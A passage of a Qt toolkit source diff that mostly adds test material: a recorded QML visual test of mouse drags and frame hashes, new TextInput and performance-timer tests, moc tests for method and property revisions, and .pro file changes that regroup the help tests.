+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5376
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5392
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5408
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5424
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5440
+        hash: "9fcd1fb769766e6019fd7e85cd3e05dc"
+    }
+    Frame {
+        msec: 5456
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 5472
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 5488
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 5504
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 5520
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Frame {
+        msec: 5536
+        hash: "4f63c550ebf5c52fe55558310b366b11"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 177; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5552
+        hash: "d6f7a50416c3805aeafbdf55905e8276"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 176; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 175; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5568
+        hash: "db00d1ba5c8416b3418e9e5ca65be5ea"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 174; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 171; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5584
+        hash: "c4fb902f66abebb6b7c3489a073e17d4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 170; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 168; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5600
+        hash: "04c6accf277b5bca4c53c1817f85bafe"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 166; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 164; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5616
+        hash: "8eb14964fea798ceccc150310a12fd4b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 162; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 160; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5632
+        hash: "83b9cec7bbe65ba9d68b089211296116"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 158; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 157; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5648
+        hash: "e59ae71a5636c48e6befa305eba76ec8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 155; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 153; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5664
+        hash: "73e178775ee01d28cf03378f267753b1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 151; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 150; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5680
+        hash: "253397b603f99f7d092dda82d794e944"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 148; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 146; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5696
+        hash: "971154dba58b18b1d82999f5b6a40cc1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 145; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 144; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5712
+        hash: "5bd30e73b37592c06f735541f802f367"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 142; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 140; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5728
+        hash: "cb087b0af44fd7e767b3ff5da1f49790"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 138; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5744
+        hash: "03c99addee96254d19db72746f1bef11"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 137; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 135; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5760
+        hash: "0f76d8a89e383e7e742a3d194d770061"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 133; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 131; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5776
+        image: "flickableInput.6.png"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 129; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 127; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5792
+        hash: "f047f32822850b2c0fee18b4a8f8a96a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 124; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 121; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5808
+        hash: "160c8c8447a469291fc2f87c2b6c97ce"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 119; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 116; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5824
+        hash: "4a9d610f3fa37336c0cab7b4e575713b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 114; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 112; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5840
+        hash: "5a00b185983ad89bcf1ceb036c424dd4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 110; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 109; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5856
+        hash: "a578449e7df3994d0806f7ee2e5a7815"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 107; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5872
+        hash: "445cb1ae1934659c3c8b5800bc30fc74"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 106; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 105; y: 26
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5888
+        hash: "ad22110876a867ca80530ca6d132dfe3"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 105; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 105; y: 25
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 5904
+        hash: "7a644a888de5691c69543699229ec8ca"
+    }
+    Frame {
+        msec: 5920
+        hash: "7a644a888de5691c69543699229ec8ca"
+    }
+    Frame {
+        msec: 5936
+        hash: "41c14cc9ea05712aea8d1feb18ca85f3"
+    }
+    Frame {
+        msec: 5952
+        hash: "921d476813711e64b9c2272aeff3ed40"
+    }
+    Frame {
+        msec: 5968
+        hash: "2dad691263389dce74c99530f188cd20"
+    }
+    Frame {
+        msec: 5984
+        hash: "b426ff8ba6d1c52974b117fb8b912b76"
+    }
+    Frame {
+        msec: 6000
+        hash: "bbcae0d0547e1cfe9a4db1a6f86bf4b6"
+    }
+    Frame {
+        msec: 6016
+        hash: "b8e54bc1a48d7a225cce25c3735c2933"
+    }
+    Frame {
+        msec: 6032
+        hash: "b59e0f6eea3c41cedb10ac7a7e2629ef"
+    }
+    Frame {
+        msec: 6048
+        hash: "48add89789f9d1be82aedeecf6fda362"
+    }
+    Frame {
+        msec: 6064
+        hash: "3cf7a035a5b7dbc81c3da5e99efa5024"
+    }
+    Frame {
+        msec: 6080
+        hash: "ff9c7173f7138e273cdbdfa8c6f5fedf"
+    }
+    Frame {
+        msec: 6096
+        hash: "bc5e19862dfb38e687d1bfc37690a3b8"
+    }
+    Frame {
+        msec: 6112
+        hash: "6ff97512731fd97d3c540245ffff6205"
+    }
+    Frame {
+        msec: 6128
+        hash: "290e8c8bf51ced134e965f72a868e467"
+    }
+    Frame {
+        msec: 6144
+        hash: "3a63687a5179896572be2e1e0d00766f"
+    }
+    Frame {
+        msec: 6160
+        hash: "80f8d13272a23e8816ef45fbbef922fe"
+    }
+    Frame {
+        msec: 6176
+        hash: "7888e0ece9522f751417944855824be8"
+    }
+    Frame {
+        msec: 6192
+        hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+    }
+    Frame {
+        msec: 6208
+        hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+    }
+    Frame {
+        msec: 6224
+        hash: "d19f7d7d94695ca307b59ffdfea497d0"
+    }
+    Frame {
+        msec: 6240
+        hash: "d19f7d7d94695ca307b59ffdfea497d0"
+    }
+    Frame {
+        msec: 6256
+        hash: "d19f7d7d94695ca307b59ffdfea497d0"
+    }
+    Frame {
+        msec: 6272
+        hash: "d19f7d7d94695ca307b59ffdfea497d0"
+    }
+    Frame {
+        msec: 6288
+        hash: "d19f7d7d94695ca307b59ffdfea497d0"
+    }
+    Frame {
+        msec: 6304
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6320
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6336
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6352
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6368
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6384
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6400
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6416
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6432
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6448
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6464
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6480
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6496
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6512
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6528
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6544
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6560
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6576
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6592
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6608
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6624
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6640
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6656
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6672
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6688
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6704
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6720
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6736
+        image: "flickableInput.7.png"
+    }
+    Frame {
+        msec: 6752
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6768
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6784
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6800
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6816
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6832
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6848
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6864
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6880
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6896
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6912
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6928
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6944
+        hash: "399526752d472f9379d3d218d5d3fdf8"
+    }
+    Frame {
+        msec: 6960
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6976
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 6992
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7008
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7024
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7040
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7056
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7072
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7088
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7104
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7120
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7136
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7152
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7168
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7184
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7200
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7216
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7232
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7248
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7264
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7280
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+    Frame {
+        msec: 7296
+        hash: "ef425c131e1c80a6d62d777963f3d08f"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
new file mode 100644
index 0000000..7af74ac
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Flickable {
+    width: 200
+    height: 50
+    contentWidth: 400
+    contentHeight: 100
+
+    Column {
+        anchors.fill: parent
+
+        TextInput {
+            selectByMouse: true
+            text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+        }
+        TextInput {
+            selectByMouse: false
+            text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
new file mode 100644
index 0000000..59710a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.1
+//Test that doubleclicking on the front of a word only selects that word, and not the word in front
+
+Item{
+    width: 200
+    height: 100
+    TextInput{
+        anchors.fill: parent
+        readOnly: true
+        selectByMouse: true
+        text: "abc a cba test"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro
index 84df15c..416f8d9 100644
--- a/tests/auto/declarative/qmlvisual/qmlvisual.pro
+++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro
@@ -19,6 +19,7 @@ symbian: {
     qdeclarativepathview \
     qdeclarativepositioners \
     qdeclarativesmoothedanimation \
+    qdeclarativespringanimation \
     qdeclarativetext \
     qdeclarativetextedit \
     qdeclarativetextinput \
diff --git a/tests/auto/declarative/qperformancetimer/qperformancetimer.pro b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
new file mode 100644
index 0000000..656bf68
--- /dev/null
+++ b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qperformancetimer.cpp
+macx:CONFIG -= app_bundle
+
+CONFIG += parallel_test
+
diff --git a/tools/qtconfig/previewwidgetbase.h b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
index 624e612..2029c8a 100644
--- a/tools/qtconfig/previewwidgetbase.h
+++ b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the test suite of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,30 +39,30 @@
 **
 ****************************************************************************/
 
-#ifndef PREVIEWWIDGETBASE_H
-#define PREVIEWWIDGETBASE_H
+#include <private/qperformancetimer_p.h>
+#include <QObject>
+#include <qtest.h>
 
-#include "ui_previewwidgetbase.h"
-#include <QVariant>
-
-QT_BEGIN_NAMESPACE
-
-class PreviewWidgetBase : public QWidget, public Ui::PreviewWidgetBase
+class tst_qperformancetimer : public QObject
 {
     Q_OBJECT
 
 public:
-    PreviewWidgetBase(QWidget* parent = 0, const char* name = 0, Qt::WindowFlags fl = 0);
-    ~PreviewWidgetBase();
-
-protected slots:
-    virtual void languageChange();
-
-    virtual void init();
-    virtual void destroy();
+    tst_qperformancetimer() {}
 
+private slots:
+    void units();
 };
 
-QT_END_NAMESPACE
+void tst_qperformancetimer::units()
+{
+    QPerformanceTimer timer;
+    timer.start();
+    QTest::qWait(300);
+    qint64 elapsed = timer.elapsed();
+    QVERIFY(elapsed > 300000000 && elapsed < 310000000);
+}
+
+QTEST_MAIN(tst_qperformancetimer)
 
-#endif // PREVIEWWIDGETBASE_H
+#include "tst_qperformancetimer.moc"
diff --git a/tests/auto/gui.pro b/tests/auto/gui.pro
index f74da54..07dc5ef 100644
--- a/tests/auto/gui.pro
+++ b/tests/auto/gui.pro
@@ -2,7 +2,7 @@
 # (i.e. QT=core gui network).
 # The test system is allowed to run these tests before the rest of Qt has
 # been compiled.
-# 
+#
 TEMPLATE=subdirs
 SUBDIRS=\
     gestures \
@@ -49,6 +49,7 @@ SUBDIRS=\
     qfiledialog \
     qfiledialog2 \
     qfileiconprovider \
+    qfileopenevent \
     qfilesystemmodel \
     qfocusframe \
     qfont \
@@ -81,11 +82,6 @@ SUBDIRS=\
     qgroupbox \
     qguivariant \
     qheaderview \
-    qhelpcontentmodel \
-    qhelpenginecore \
-    qhelpgenerator \
-    qhelpindexmodel \
-    qhelpprojectdata \
     qicoimageformat \
     qicon \
     qimageiohandler \
@@ -223,10 +219,5 @@ win32:SUBDIRS -= qtextpiecetable
            qtextpiecetable \
 
 symbian:SUBDIRS -= \
-    qhelpcontentmodel \
-    qhelpenginecore \
-    qhelpgenerator \
-    qhelpindexmodel \
-    qhelpprojectdata \
     qsystemtrayicon \
 
diff --git a/tests/auto/help.pro b/tests/auto/help.pro
new file mode 100644
index 0000000..e6ee552
--- /dev/null
+++ b/tests/auto/help.pro
@@ -0,0 +1,8 @@
+TEMPLATE=subdirs
+SUBDIRS=\
+    qhelpcontentmodel \
+    qhelpenginecore \
+    qhelpgenerator \
+    qhelpindexmodel \
+    qhelpprojectdata \
+
diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
index 768a4e2..c966fa1 100644
--- a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
+++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml
@@ -93,5 +93,8 @@ QtObject {
         //: qsTrId() with comment, meta-data and plurals.
         //~ well-tested True
         qsTrId("qtn_bar_baz", 10);
+
+        //% "Source text"
+        qsTrId("qtn_baz_biz");
     }
 }
diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
index 7dac8cb..4843902 100644
--- a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
+++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result
@@ -27,6 +27,11 @@
         </translation>
         <extra-well-tested>True</extra-well-tested>
     </message>
+    <message id="qtn_baz_biz">
+        <location filename="main.qml" line="98"/>
+        <source>Source text</source>
+        <translation type="unfinished"></translation>
+    </message>
 </context>
 <context>
     <name>BarContext</name>
diff --git a/tests/auto/moc/tst_moc.cpp b/tests/auto/moc/tst_moc.cpp
index 3e15bde..bbfa91f 100644
--- a/tests/auto/moc/tst_moc.cpp
+++ b/tests/auto/moc/tst_moc.cpp
@@ -493,6 +493,8 @@ private slots:
     void QTBUG5590_dummyProperty();
     void QTBUG12260_defaultTemplate();
     void notifyError();
+    void QTBUG17635_invokableAndProperty();
+    void revisions();
 signals:
     void sigWithUnsignedArg(unsigned foo);
     void sigWithSignedArg(signed foo);
@@ -507,6 +509,7 @@ private:
     bool user2() { return false; };
     bool user3() { return false; };
     bool userFunction(){ return false; };
+    template <class T> void revisions_T();
 
 private:
     QString qtIncludePath;
@@ -1384,6 +1387,142 @@ void tst_Moc::notifyError()
 #endif
 }
 
+class QTBUG_17635_InvokableAndProperty : public QObject
+{
+    Q_OBJECT
+public:
+    Q_PROPERTY(int numberOfEggs READ numberOfEggs)
+    Q_PROPERTY(int numberOfChickens READ numberOfChickens)
+    Q_INVOKABLE QString getEgg(int index) { return QString::fromLatin1("Egg"); }
+    Q_INVOKABLE QString getChicken(int index) { return QString::fromLatin1("Chicken"); }
+    int numberOfEggs() { return 2; }
+    int numberOfChickens() { return 4; }
+};
+
+void tst_Moc::QTBUG17635_invokableAndProperty()
+{
+    //Moc used to fail parsing Q_INVOKABLE if they were dirrectly following a Q_PROPERTY;
+    QTBUG_17635_InvokableAndProperty mc;
+    QString val;
+    QMetaObject::invokeMethod(&mc, "getEgg", Q_RETURN_ARG(QString, val), Q_ARG(int, 10));
+    QCOMPARE(val, QString::fromLatin1("Egg"));
+    QMetaObject::invokeMethod(&mc, "getChicken", Q_RETURN_ARG(QString, val), Q_ARG(int, 10));
+    QCOMPARE(val, QString::fromLatin1("Chicken"));
+    QVERIFY(mc.metaObject()->indexOfProperty("numberOfEggs") != -1);
+    QVERIFY(mc.metaObject()->indexOfProperty("numberOfChickens") != -1);
+}
+
+// If changed, update VersionTestNotify below
+class VersionTest : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int prop1 READ foo)
+    Q_PROPERTY(int prop2 READ foo REVISION 2)
+    Q_ENUMS(TestEnum);
+
+public:
+    int foo() const { return 0; }
+
+    Q_INVOKABLE void method1() {}
+    Q_INVOKABLE Q_REVISION(4) void method2() {}
+
+    enum TestEnum { One, Two };
+
+public slots:
+    void slot1() {}
+    Q_REVISION(3) void slot2() {}
+
+signals:
+    void signal1();
+    Q_REVISION(5) void signal2();
+
+public slots Q_REVISION(6):
+    void slot3() {}
+    void slot4() {}
+
+signals Q_REVISION(7):
+    void signal3();
+    void signal4();
+};
+
+// If changed, update VersionTest above
+class VersionTestNotify : public QObject
+{
+    Q_OBJECT
+    Q_PROPERTY(int prop1 READ foo NOTIFY fooChanged)
+    Q_PROPERTY(int prop2 READ foo REVISION 2)
+    Q_ENUMS(TestEnum);
+
+public:
+    int foo() const { return 0; }
+
+    Q_INVOKABLE void method1() {}
+    Q_INVOKABLE Q_REVISION(4) void method2() {}
+
+    enum TestEnum { One, Two };
+
+public slots:
+    void slot1() {}
+    Q_REVISION(3) void slot2() {}
+
+signals:
+    void fooChanged();
+    void signal1();
+    Q_REVISION(5) void signal2();
+
+public slots Q_REVISION(6):
+    void slot3() {}
+    void slot4() {}
+
+signals Q_REVISION(7):
+    void signal3();
+    void signal4();
+};
+
+template <class T>
+void tst_Moc::revisions_T()
+{
+    int idx = T::staticMetaObject.indexOfProperty("prop1");
+    QVERIFY(T::staticMetaObject.property(idx).revision() == 0);
+    idx = T::staticMetaObject.indexOfProperty("prop2");
+    QVERIFY(T::staticMetaObject.property(idx).revision() == 2);
+
+    idx = T::staticMetaObject.indexOfMethod("method1()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+    idx = T::staticMetaObject.indexOfMethod("method2()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 4);
+
+    idx = T::staticMetaObject.indexOfSlot("slot1()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+    idx = T::staticMetaObject.indexOfSlot("slot2()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 3);
+
+    idx = T::staticMetaObject.indexOfSlot("slot3()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 6);
+    idx = T::staticMetaObject.indexOfSlot("slot4()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 6);
+
+    idx = T::staticMetaObject.indexOfSignal("signal1()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 0);
+    idx = T::staticMetaObject.indexOfSignal("signal2()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 5);
+
+    idx = T::staticMetaObject.indexOfSignal("signal3()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 7);
+    idx = T::staticMetaObject.indexOfSignal("signal4()");
+    QVERIFY(T::staticMetaObject.method(idx).revision() == 7);
+
+    idx = T::staticMetaObject.indexOfEnumerator("TestEnum");
+    QCOMPARE(T::staticMetaObject.enumerator(idx).keyCount(), 2);
+    QCOMPARE(T::staticMetaObject.enumerator(idx).key(0), "One");
+}
+
+// test using both class that has properties with and without NOTIFY signals
+void tst_Moc::revisions()
+{
+    revisions_T<VersionTest>();
+    revisions_T<VersionTestNotify>();
+}
 
 QTEST_APPLESS_MAIN(tst_Moc)
 #include "tst_moc.moc"
diff --git a/tests/auto/network.pro b/tests/auto/network.pro
index 7d83054..b427f1c 100644
